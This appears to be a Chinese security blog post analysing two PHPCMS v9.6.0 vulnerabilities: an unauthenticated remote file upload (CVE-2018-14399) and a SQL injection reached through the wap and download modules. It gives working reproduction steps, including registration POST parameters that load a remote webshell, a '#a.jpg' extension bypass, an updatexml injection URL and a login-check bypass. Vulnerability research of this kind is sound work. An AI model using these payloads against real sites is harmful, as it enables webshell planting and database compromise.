目录
  1. 1. 任意文件上传(CVE-2018-14399)
    1. 1.1. 漏洞复现
    2. 1.2. 漏洞分析
  2. 2. wap模块 SQL注入
    1. 2.1. 漏洞复现
    2. 2.2. 漏洞分析
漏洞分析 | PHPCMS v9.6.0

涉及版本均是 v9.6.0

任意文件上传(CVE-2018-14399)

漏洞复现

漏洞危害:该漏洞可以在用户注册界面以未授权的情况下实现任意文件上传。

漏洞触发位置在 会员注册 这个界面。地址为 ip/index.php?m=member&c=index&a=register&siteid=1

POST参数如下

siteid=1&modelid=11&username=P2hm1n&password=P2hm1n&email=123456@qq.com&info[content]=<img src=你的shell>&dosubmit=1&protocol=

访问爆出上传地址

能shell

漏洞分析

文件目录 phpcms/modules/member/index.php

index.php 大致实现功能:会员前台管理中心、账号管理、收藏操作类

触发漏洞点方法是 register 大致逻辑是 获取用户siteid,定义站点id常量,加载用户模块配置,加载短信模块配置

第 134-135 行 发现可控变量 $_POST[‘info’] 经过漏洞复现我们可以知道这是 exp 的关键参数

先看 134 行的处理,将 $_POST[‘info’] 这个参数经过了new_html_special_chars这个函数过滤。跟进函数分析

/**
* 返回经addslashe处理过的字符串或数组
* @param $obj 需要处理的字符串或数组
* @return mixed
*/
function new_html_special_chars($string) {
$encoding = 'utf-8';
if(strtolower(CHARSET)=='gbk') $encoding = 'gb2312';
if(!is_array($string)) return htmlspecialchars($string,ENT_COMPAT,$encoding);
foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);
return $string;
}

主要功能是做了 html 转义。对我们漏洞利用没有太大阻碍。接着跟进一下 135行的 $member_input->get() 方法

方法位置:caches/caches_model/caches_data/member_input.class.php

function get($data) {
$this->data = $data = trim_script($data);
$model_cache = getcache('member_model', 'commons');
$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

$info = array();
$debar_filed = array('catid','title','style','thumb','status','islink','description');
if(is_array($data)) {
foreach($data as $field=>$value) {
if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
$field = safe_replace($field);
$name = $this->fields[$field]['name'];
$minlength = $this->fields[$field]['minlength'];
$maxlength = $this->fields[$field]['maxlength'];
$pattern = $this->fields[$field]['pattern'];
$errortips = $this->fields[$field]['errortips'];
if(empty($errortips)) $errortips = "$name 不符合要求!";
$length = empty($value) ? 0 : strlen($value);
if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
if($maxlength && $length > $maxlength && !$isimport) {
showmessage("$name 不得超过 $maxlength 个字符!");
} else {
str_cut($value, $maxlength);
}
if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);

$info[$field] = $value;
}
}
return $info;
}

首先将 data 经过一个 trim_script 的处理。但是 trim_script 大多都是处理 xss 有关漏洞的过滤。几个正则将xss的关键 payload 进行了替换

第27行,核心 if 判断条件 if(is_array($data)) 。我们 payload 中 info[content]=<img src=你的shell> 就是一个数组。因此继续跟进,发现将数组进行遍历,键名为$field,键值为$value

第30行,$field 进行一次 safe_replace 处理。主要过滤一些类似单引号,尖括号等可能产生 XSS,SQL注入的符号
image.png

之后经过一些注册时正常的判断逻辑代码

47-48行

$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);

先是定义了一个 $func ,然后下面的if语句判断方法如果存在就带入这个函数。

挨个查看方法中,在 editor 方法中 的一句话。调用了 attachment 类的 download 函数

$value = $this->attachment->download('content', $value,$watermark_enable);

跟进文件 phpcms/libs/classes/attachment.class.php

/**
* 附件下载
* Enter description here ...
* @param $field 预留字段
* @param $value 传入下载内容
* @param $watermark 是否加入水印
* @param $ext 下载扩展名
* @param $absurl 绝对路径
* @param $basehref
*/
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);

$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}

首先限制了其中 $ext 只允许为gif|jpg|jpeg|bmp|png

153行 进行了一个过滤

if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

这里匹配了srchref中文件的文件名,不过后缀为$ext,其中$ext的值为:gif|jpg|jpeg|bmp|png

http://ip/p2hm1n.php#a.jpg 即可绕过正则

158行 使用了 fillurl 函数远程加载资源,还吧 # 之后的字符全部移除

$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);

P2hm1n.php#a.jpg 会被处理成 P2hm1n.php

之后调用 download 方法。程序直接调用 copy 函数将远程文件复制到本地

wap模块 SQL注入

漏洞复现

访问 http://phpcms/index.php?m=wap&a=index&siteid=1

PS: 默认安装是不具备war模块的,跟进后台看了一下,好像跟手机门户网站有关,但其实并不影响漏洞的利用

直接发包至 repeater 模块。

将返回的 Set-CookieTVAUD_siteid值附值给 userid_flash变量
因此 userid_flash=fe769BR9LpUDtV0xv0EoUJLPLr5-mlaX47zTpfBY

访问

http://localhost/phpcms/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26

并 POST 传参 userid_flash=fe769BR9LpUDtV0xv0EoUJLPLr5-mlaX47zTpfBY

将返回的 Set-CookieTVAUD_att_json值附值给 a_k参数

GET型访问

http://phpcms/index.php?m=content&c=down&a_k=4639DgUMpurTOZjooOJq4TX6Y0Q_XVqujouwKcrfLTvAEJjgOjGhm4VLN5AZ3CQkIcSOFCoDh8V7NVmGuVvN6hrYV59KmsRC0SO-V_b6hLXhJxDw4DuOEQ1KS2RPKSae8keEN8PbbTo7fICqQnhDpFhUN5JSRgScbgnQggVE7d56earVmPST9Lw

漏洞分析

漏洞触发点在 phpcms/modules/content/down.phpinit() 函数
12 行 GET方式传入 a_k参数
14 行 根据 DECODE 判断其 sys_auth 为一个解密函数。直接证明——》a_k参数之前是经过加密的。这个解密流程其实很长,我们其实不用去看它的一个解密流程。
17 行 使用 parse_str() 函数处理 。 parse_str() 函数会自动对传入的值将其根据&分割,然后解析到具体变量并注册变量,并且对内容进行URL解码操作。

26 行 引用未注册变量 array(‘id’=>$id) ,但这里的id可以从parse_str函数处理$a_k后得到。且调用 get_one 方法。

get_one方法定义点在 /phpcms/libs/classes/model.class.php 73-76行。跟进发现这里的 get_one 方法其实就是 SQL 查询。且用到了 sqls 方法。
跟进 sqls 方法,这里是对数组参数的一个处理过程。

且从头到位都没有对$id 参数进行过滤处理。因此存在 sql 注入漏洞

现在我们根据 从parse_str函数处理$a_k后得到的 id 推断出了存在 sql注入。但是由于之前我们推断中忽略的是一个解密流程。因此其实我们需要找到带有 sql注入payload 经过一次加密之后的 payload。

核心目的:构造加密后的 $a_k 变量

思路一:伪造加密过程:直接对应源码中加密代码,进行本地加解密。
产生问题:源码中对应的 auth_key 值来自服务器。且每个站点这个 auth_key 可能不一样。

思路二:寻找源码中调用此加密的地方。且可回显加密后代码
方法: 全局搜索 sys_auth 。
phpcms\libs\classes\param.class.php 中存在 set_cookie 方法

寻找哪里没有过滤sql注入的传入点。且可通过 cookie 加密获得加密后 payload
关键点:phpcms/modules/attachment/attachments.phpswfupload_json 方法。

public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);
return true;
}
}

通过 GET 传入三个参数,第一个参数 aid 经过了 intval 函数处理,那么不太适合通过此处传入payload。第二个参数 src 经过了 safe_replace处理。第三个 filename 通过 safe_replace 和 一次url 编码处理。之后做 json_encode 的操作,最终再调用 set_cookie 方法。
跟进一下 safe_replace 方法,发现是通过 str_replace 进行处理,且没有通过循环遍历来过滤,它只执行一次。那么两两组合一下,然后替换,从而达到 bypass 的效果。

但是在触发 set_cookieswfupload_json 方法,之前有一定的条件。
phpcms/modules/attachment/attachments.php第十行的 attachments 类。其中 __construct 方法,相当于做类的初始化工作。其中有用户登录状态检测。21行限制 $this→userid 不能为空,否则跳转到登录界面
17 行 程序并没有检查 $this->userid 的有效性,所以只要传入的 userid_flash 是加密值就能够解密就可以通过检测。
获取 userid_flash加密值:在phpcms/modules/wap/index.php 文件。通过 cookie 获取 $_GET[‘siteid’] 加密后的数据,然后再作为 $_POST[‘userid_flash’] 的值,即可绕过登录检测。

参考文章

https://mochazz.github.io/2019/07/18/phpcms%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%90%88%E9%9B%86/
https://www.hackersb.cn/hacker/219.html
https://www.freebuf.com/articles/web/202914.html
http://blog.nsfocus.net/phpcms-v9-6-content-module-sql-injection-vulnerability-analysis/

文章作者: P2hm1n
文章链接: http://yoursite.com/2019/12/23/PHPCMS漏洞分析/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 P2hm1n‘s Blog

评论